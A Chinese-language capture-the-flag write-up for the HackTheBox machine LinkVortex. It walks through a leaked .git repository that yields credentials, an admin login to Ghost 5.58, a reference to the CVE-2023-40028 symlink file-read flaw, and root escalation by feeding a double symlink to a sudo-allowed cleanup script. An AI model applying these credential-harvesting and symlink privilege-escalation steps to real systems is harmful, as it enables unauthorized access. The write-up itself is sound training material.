HTB-LinkVortex

fscan扫描没什么内容目录扫描扫到

text

http://linkvortex.htb/robots.txt

text

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

一个登录框，但是暂时利用不起来

fuzz出一个[Launching Soon](http://dev.linkvortex.htb/)

git泄露

githack和githacker拉下来不大一样

可以获取到一些敏感信息泄露

text

const email = 'test@example.com';
const password = 'OctopiFociPilfer45';

学到了一个新姿势

可以关注/.git/logs/HEAD是对应的上传者的相关信息

text

0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <dev@linkvortex.htb> 1730322603 +0000	clone: from https://github.com/TryGhost/Ghost.git

将dev改为admin后登录

text

admin@linkvortex.htb
OctopiFociPilfer45

查阅到版本为5.58.0

0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028: CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system.

拿其他账号的账号密码

text

"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"

ssh连接后拿user.txt

sudo -l发现(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

clean_symlink.sh

bash


#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

经典软链接利用

bash

bob@linkvortex:~$ ln -s /root/root.txt 1.txt
bob@linkvortex:~$ ln -s /home/bob/1.txt 1.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/1.png
Link found [ /home/bob/1.png ] , moving it to quarantine
Content:
xxxxxxxxxxxxxxxxxxx
bob@linkvortex:~$